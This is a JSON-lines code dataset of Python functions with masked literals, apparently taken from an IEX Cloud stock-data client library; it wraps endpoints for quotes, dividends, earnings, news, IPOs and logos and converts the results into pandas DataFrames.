{"signature": "def delayedQuote(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This returns the 15 minute delayed market quote.\n\n    https://iexcloud.io/docs/api/#delayed-quote\n    15min delayed\n    4:30am - 8pm ET M-F when market is open\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m21"}
{"signature": "def delayedQuoteDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(delayedQuote(symbol, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This returns the 15 minute delayed market quote.\n\n    https://iexcloud.io/docs/api/#delayed-quote\n    15min delayed\n    4:30am - 8pm ET M-F when market is open\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m22"}
{"signature": "def dividends(symbol, timeframe='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>if timeframe not in _TIMEFRAME_DIVSPLIT:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_TIMEFRAME_DIVSPLIT))<EOL><DEDENT>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + timeframe, token, version)<EOL>", "docstring": "Dividend history\n\n    https://iexcloud.io/docs/api/#dividends\n    Updated at 9am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m23"}
{"signature": "def _dividendsToDF(d):", "body": "df = pd.DataFrame(d)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m24"}
{"signature": "def dividendsDF(symbol, timeframe='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "d = dividends(symbol, timeframe, token, version)<EOL>df = _dividendsToDF(d)<EOL>return df<EOL>", "docstring": "Dividend history\n\n    https://iexcloud.io/docs/api/#dividends\n    Updated at 9am UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m25"}
{"signature": "def earnings(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Earnings data for a given company including the actual EPS, consensus, and fiscal period. Earnings are available quarterly (last 4 quarters) and annually (last 4 years).\n\n    https://iexcloud.io/docs/api/#earnings\n    Updates at 9am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m26"}
{"signature": "def _earningsToDF(e):", "body": "if e:<EOL><INDENT>df = pd.io.json.json_normalize(e, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "internal", "id": "f2330:m27"}
{"signature": "def earningsDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "e = earnings(symbol, token, version)<EOL>df = _earningsToDF(e)<EOL>return df<EOL>", "docstring": "Earnings data for a given company including the actual EPS, consensus, and fiscal period. Earnings are available quarterly (last 4 quarters) and annually (last 4 years).\n\n    https://iexcloud.io/docs/api/#earnings\n    Updates at 9am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m28"}
{"signature": "def earningsToday(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Returns earnings that will be reported today as two arrays: before the open bto and after market close amc.\n    Each array contains an object with all keys from earnings, a quote object, and a headline key.\n\n    https://iexcloud.io/docs/api/#earnings-today\n    Updates at 9am, 11am, 12pm UTC daily\n\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m29"}
{"signature": "def earningsTodayDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = earningsToday(token, version)<EOL>z = []<EOL>for k in x:<EOL><INDENT>ds = x[k]<EOL>for d in ds:<EOL><INDENT>d['<STR_LIT>'] = k<EOL>z.extend(ds)<EOL><DEDENT><DEDENT>df = pd.io.json.json_normalize(z)<EOL>if not df.empty:<EOL><INDENT>df.drop_duplicates(inplace=True)<EOL><DEDENT>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Returns earnings that will be reported today as two arrays: before the open bto and after market close amc.\n    Each array contains an object with all keys from earnings, a quote object, and a headline key.\n\n    https://iexcloud.io/docs/api/#earnings-today\n    Updates at 9am, 11am, 12pm UTC daily\n\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m30"}
{"signature": "def spread(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This returns an array of effective spread, eligible volume, and price improvement of a stock, by market.\n    Unlike volume-by-venue, this will only return a venue if effective spread is not \u2018N/A\u2019. Values are sorted in descending order by effectiveSpread.\n    Lower effectiveSpread and higher priceImprovement values are generally considered optimal.\n\n    Effective spread is designed to measure marketable orders executed in relation to the market center\u2019s\n    quoted spread and takes into account hidden and midpoint liquidity available at each market center.\n    Effective Spread is calculated by using eligible trade prices recorded to the consolidated tape and\n    comparing those trade prices to the National Best Bid and Offer (\u201cNBBO\u201d) at the time of the execution.\n\n    View the data disclaimer at the bottom of the stocks app for more information about how these values are calculated.\n\n\n    https://iexcloud.io/docs/api/#earnings-today\n    8am ET M-F\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m31"}
{"signature": "def spreadDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(spread(symbol, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This returns an array of effective spread, eligible volume, and price improvement of a stock, by market.\n    Unlike volume-by-venue, this will only return a venue if effective spread is not \u2018N/A\u2019. Values are sorted in descending order by effectiveSpread.\n    Lower effectiveSpread and higher priceImprovement values are generally considered optimal.\n\n    Effective spread is designed to measure marketable orders executed in relation to the market center\u2019s\n    quoted spread and takes into account hidden and midpoint liquidity available at each market center.\n    Effective Spread is calculated by using eligible trade prices recorded to the consolidated tape and\n    comparing those trade prices to the National Best Bid and Offer (\u201cNBBO\u201d) at the time of the execution.\n\n    View the data disclaimer at the bottom of the stocks app for more information about how these values are calculated.\n\n\n    https://iexcloud.io/docs/api/#earnings-today\n    8am ET M-F\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m32"}
{"signature": "def estimates(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Provides the latest consensus estimate for the next fiscal period\n\n    https://iexcloud.io/docs/api/#estimates\n    Updates at 9am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m33"}
{"signature": "def _estimatesToDF(f):", "body": "if f:<EOL><INDENT>df = pd.io.json.json_normalize(f, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "internal", "id": "f2330:m34"}
{"signature": "def estimatesDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "f = estimates(symbol, token, version)<EOL>df = _estimatesToDF(f)<EOL>return df<EOL>", "docstring": "Provides the latest consensus estimate for the next fiscal period\n\n    https://iexcloud.io/docs/api/#estimates\n    Updates at 9am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m35"}
{"signature": "def financials(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Pulls income statement, balance sheet, and cash flow data from the four most recent reported quarters.\n\n    https://iexcloud.io/docs/api/#financials\n    Updates at 8am, 9am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m36"}
{"signature": "def _financialsToDF(f):", "body": "if f:<EOL><INDENT>df = pd.io.json.json_normalize(f, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "internal", "id": "f2330:m37"}
{"signature": "def financialsDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "f = financials(symbol, token, version)<EOL>df = _financialsToDF(f)<EOL>return df<EOL>", "docstring": "Pulls income statement, balance sheet, and cash flow data from the four most recent reported quarters.\n\n    https://iexcloud.io/docs/api/#financials\n    Updates at 8am, 9am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m38"}
{"signature": "def incomeStatement(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Pulls income statement data. Available quarterly (4 quarters) or annually (4 years).\n\n    https://iexcloud.io/docs/api/#income-statement\n    Updates at 8am, 9am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m39"}
{"signature": "def incomeStatementDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "val = incomeStatement(symbol, token, version)<EOL>df = pd.io.json.json_normalize(val, '<STR_LIT>', '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Pulls income statement data. Available quarterly (4 quarters) or annually (4 years).\n\n    https://iexcloud.io/docs/api/#income-statement\n    Updates at 8am, 9am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m40"}
{"signature": "def ipoToday(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This returns a list of upcoming or today IPOs scheduled for the current and next month. The response is split into two structures:\n    rawData and viewData. rawData represents all available data for an IPO. viewData represents data structured for display to a user.\n\n    https://iexcloud.io/docs/api/#ipo-calendar\n    10am, 10:30am UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m41"}
{"signature": "def ipoTodayDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "val = ipoToday(token, version)<EOL>if val:<EOL><INDENT>df = pd.io.json.json_normalize(val, '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "This returns a list of upcoming or today IPOs scheduled for the current and next month. The response is split into two structures:\n    rawData and viewData. rawData represents all available data for an IPO. viewData represents data structured for display to a user.\n\n    https://iexcloud.io/docs/api/#ipo-calendar\n    10am, 10:30am UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m42"}
{"signature": "def ipoUpcoming(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This returns a list of upcoming or today IPOs scheduled for the current and next month. The response is split into two structures:\n    rawData and viewData. rawData represents all available data for an IPO. viewData represents data structured for display to a user.\n\n    https://iexcloud.io/docs/api/#ipo-calendar\n    10am, 10:30am UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m43"}
{"signature": "def ipoUpcomingDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "val = ipoUpcoming(token, version)<EOL>if val:<EOL><INDENT>df = pd.io.json.json_normalize(val, '<STR_LIT>')<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "This returns a list of upcoming or today IPOs scheduled for the current and next month. The response is split into two structures:\n    rawData and viewData. rawData represents all available data for an IPO. viewData represents data structured for display to a user.\n\n    https://iexcloud.io/docs/api/#ipo-calendar\n    10am, 10:30am UTC daily\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m44"}
{"signature": "def keyStats(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Key Stats about company\n\n    https://iexcloud.io/docs/api/#key-stats\n    8am, 9am ET\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m45"}
{"signature": "def _statsToDF(s):", "body": "if s:<EOL><INDENT>df = pd.io.json.json_normalize(s)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "internal", "id": "f2330:m46"}
{"signature": "def keyStatsDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "s = keyStats(symbol, token, version)<EOL>df = _statsToDF(s)<EOL>return df<EOL>", "docstring": "Key Stats about company\n\n    https://iexcloud.io/docs/api/#key-stats\n    8am, 9am ET\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m47"}
{"signature": "def largestTrades(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This returns 15 minute delayed, last sale eligible trades.\n\n    https://iexcloud.io/docs/api/#largest-trades\n    9:30-4pm ET M-F during regular market hours\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m48"}
{"signature": "def largestTradesDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(largestTrades(symbol, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT:time>')<EOL>return df<EOL>", "docstring": "This returns 15 minute delayed, last sale eligible trades.\n\n    https://iexcloud.io/docs/api/#largest-trades\n    9:30-4pm ET M-F during regular market hours\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m49"}
{"signature": "def list(option='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "if option not in _LIST_OPTIONS:<EOL><INDENT>raise PyEXception('<STR_LIT>' % str(_LIST_OPTIONS))<EOL><DEDENT>return _getJson('<STR_LIT>' + option, token, version)<EOL>", "docstring": "Returns an array of quotes for the top 10 symbols in a specified list.\n\n\n    https://iexcloud.io/docs/api/#list\n    Updated intraday\n\n    Args:\n        option (string); Option to query\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m50"}
{"signature": "def listDF(option='<STR_LIT>', token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(list(option, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Returns an array of quotes for the top 10 symbols in a specified list.\n\n\n    https://iexcloud.io/docs/api/#list\n    Updated intraday\n\n    Args:\n        option (string); Option to query\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m51"}
{"signature": "def logo(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This is a helper function, but the google APIs url is standardized.\n\n    https://iexcloud.io/docs/api/#logo\n    8am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m52"}
{"signature": "def logoPNG(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>response = requests.get(logo(symbol, token, version)['<STR_LIT:url>'])<EOL>return ImageP.open(BytesIO(response.content))<EOL>", "docstring": "This is a helper function, but the google APIs url is standardized.\n\n    https://iexcloud.io/docs/api/#logo\n    8am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        image: result as png", "id": "f2330:m53"}
{"signature": "def logoNotebook(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>url = logo(symbol, token, version)['<STR_LIT:url>']<EOL>return ImageI(url=url)<EOL>", "docstring": "This is a helper function, but the google APIs url is standardized.\n\n    https://iexcloud.io/docs/api/#logo\n    8am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        image: result", "id": "f2330:m54"}
{"signature": "def marketVolume(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This endpoint returns real time traded volume on U.S. markets.\n\n    https://iexcloud.io/docs/api/#market-volume-u-s\n    7:45am-5:15pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m55"}
{"signature": "def marketVolumeDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return pd.DataFrame(marketVolume())<EOL>", "docstring": "This endpoint returns real time traded volume on U.S. markets.\n\n    https://iexcloud.io/docs/api/#market-volume-u-s\n    7:45am-5:15pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m56"}
{"signature": "def news(symbol, count=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>' + str(count), token, version)<EOL>", "docstring": "News about company\n\n    https://iexcloud.io/docs/api/#news\n    Continuous\n\n    Args:\n        symbol (string); Ticker to request\n        count (int): limit number of results\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m57"}
{"signature": "def _newsToDF(n):", "body": "df = pd.DataFrame(n)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m58"}
{"signature": "def newsDF(symbol, count=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "n = news(symbol, count, token, version)<EOL>df = _newsToDF(n)<EOL>return df<EOL>", "docstring": "News about company\n\n    https://iexcloud.io/docs/api/#news\n    Continuous\n\n    Args:\n        symbol (string); Ticker to request\n        count (int): limit number of results\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m59"}
{"signature": "def marketNews(count=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>' + str(count), token, version)<EOL>", "docstring": "News about market\n\n    https://iexcloud.io/docs/api/#news\n    Continuous\n\n    Args:\n        count (int): limit number of results\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m60"}
{"signature": "def marketNewsDF(count=<NUM_LIT:10>, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.DataFrame(marketNews(count, token, version))<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "News about market\n\n    https://iexcloud.io/docs/api/#news\n    Continuous\n\n    Args:\n        count (int): limit number of results\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m61"}
{"signature": "def ohlc(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Returns the official open and close for a give symbol.\n\n    https://iexcloud.io/docs/api/#news\n    9:30am-5pm ET Mon-Fri\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m62"}
{"signature": "def ohlcDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "o = ohlc(symbol, token, version)<EOL>if o:<EOL><INDENT>df = pd.io.json.json_normalize(o)<EOL>_toDatetime(df)<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "Returns the official open and close for a give symbol.\n\n    https://iexcloud.io/docs/api/#news\n    9:30am-5pm ET Mon-Fri\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m63"}
{"signature": "def marketOhlc(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "Returns the official open and close for whole market.\n\n    https://iexcloud.io/docs/api/#news\n    9:30am-5pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m64"}
{"signature": "def marketOhlcDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = marketOhlc(token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>data.append(x[key])<EOL>data[-<NUM_LIT:1>]['<STR_LIT>'] = key<EOL><DEDENT>df = pd.io.json.json_normalize(data)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "Returns the official open and close for whole market.\n\n    https://iexcloud.io/docs/api/#news\n    9:30am-5pm ET Mon-Fri\n\n    Args:\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m65"}
{"signature": "def peers(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Peers of ticker\n\n    https://iexcloud.io/docs/api/#peers\n    8am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m66"}
{"signature": "def _peersToDF(p):", "body": "df = pd.DataFrame(p, columns=['<STR_LIT>'])<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>df['<STR_LIT>'] = df.index<EOL>return df<EOL>", "docstring": "internal", "id": "f2330:m67"}
{"signature": "def peersDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "p = peers(symbol, token, version)<EOL>df = _peersToDF(p)<EOL>return df<EOL>", "docstring": "Peers of ticker\n\n    https://iexcloud.io/docs/api/#peers\n    8am UTC daily\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m68"}
{"signature": "def yesterday(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "This returns previous day adjusted price data for one or more stocks\n\n    https://iexcloud.io/docs/api/#previous-day-prices\n    Available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m69"}
{"signature": "def yesterdayDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "y = yesterday(symbol, token, version)<EOL>if y:<EOL><INDENT>df = pd.io.json.json_normalize(y)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "This returns previous day adjusted price data for one or more stocks\n\n    https://iexcloud.io/docs/api/#previous-day-prices\n    Available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m70"}
{"signature": "def marketYesterday(token='<STR_LIT>', version='<STR_LIT>'):", "body": "return _getJson('<STR_LIT>', token, version)<EOL>", "docstring": "This returns previous day adjusted price data for whole market\n\n    https://iexcloud.io/docs/api/#previous-day-prices\n    Available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m71"}
{"signature": "def marketYesterdayDF(token='<STR_LIT>', version='<STR_LIT>'):", "body": "x = marketYesterday(token, version)<EOL>data = []<EOL>for key in x:<EOL><INDENT>data.append(x[key])<EOL>data[-<NUM_LIT:1>]['<STR_LIT>'] = key<EOL><DEDENT>df = pd.DataFrame(data)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL>return df<EOL>", "docstring": "This returns previous day adjusted price data for whole market\n\n    https://iexcloud.io/docs/api/#previous-day-prices\n    Available after 4am ET Tue-Sat\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m72"}
{"signature": "def price(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Price of ticker\n\n    https://iexcloud.io/docs/api/#price\n    4:30am-8pm ET Mon-Fri\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m73"}
{"signature": "def priceDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize({'<STR_LIT>': price(symbol, token, version)})<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Price of ticker\n\n    https://iexcloud.io/docs/api/#price\n    4:30am-8pm ET Mon-Fri\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m74"}
{"signature": "def priceTarget(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Provides the latest avg, high, and low analyst price target for a symbol.\n\n    https://iexcloud.io/docs/api/#price-target\n    Updates at 10am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m75"}
{"signature": "def priceTargetDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "df = pd.io.json.json_normalize(priceTarget(symbol, token, version))<EOL>_toDatetime(df)<EOL>return df<EOL>", "docstring": "Provides the latest avg, high, and low analyst price target for a symbol.\n\n    https://iexcloud.io/docs/api/#price-target\n    Updates at 10am, 11am, 12pm UTC every day\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m76"}
{"signature": "def quote(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "_raiseIfNotStr(symbol)<EOL>return _getJson('<STR_LIT>' + symbol + '<STR_LIT>', token, version)<EOL>", "docstring": "Get quote for ticker\n\n    https://iexcloud.io/docs/api/#quote\n    4:30am-8pm ET Mon-Fri\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        dict: result", "id": "f2330:m77"}
{"signature": "def quoteDF(symbol, token='<STR_LIT>', version='<STR_LIT>'):", "body": "q = quote(symbol, token, version)<EOL>if q:<EOL><INDENT>df = pd.io.json.json_normalize(q)<EOL>_toDatetime(df)<EOL>_reindex(df, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>df = pd.DataFrame()<EOL><DEDENT>return df<EOL>", "docstring": "Get quote for ticker\n\n    https://iexcloud.io/docs/api/#quote\n    4:30am-8pm ET Mon-Fri\n\n\n    Args:\n        symbol (string); Ticker to request\n        token (string); Access token\n        version (string); API version\n\n    Returns:\n        DataFrame: result", "id": "f2330:m78"}
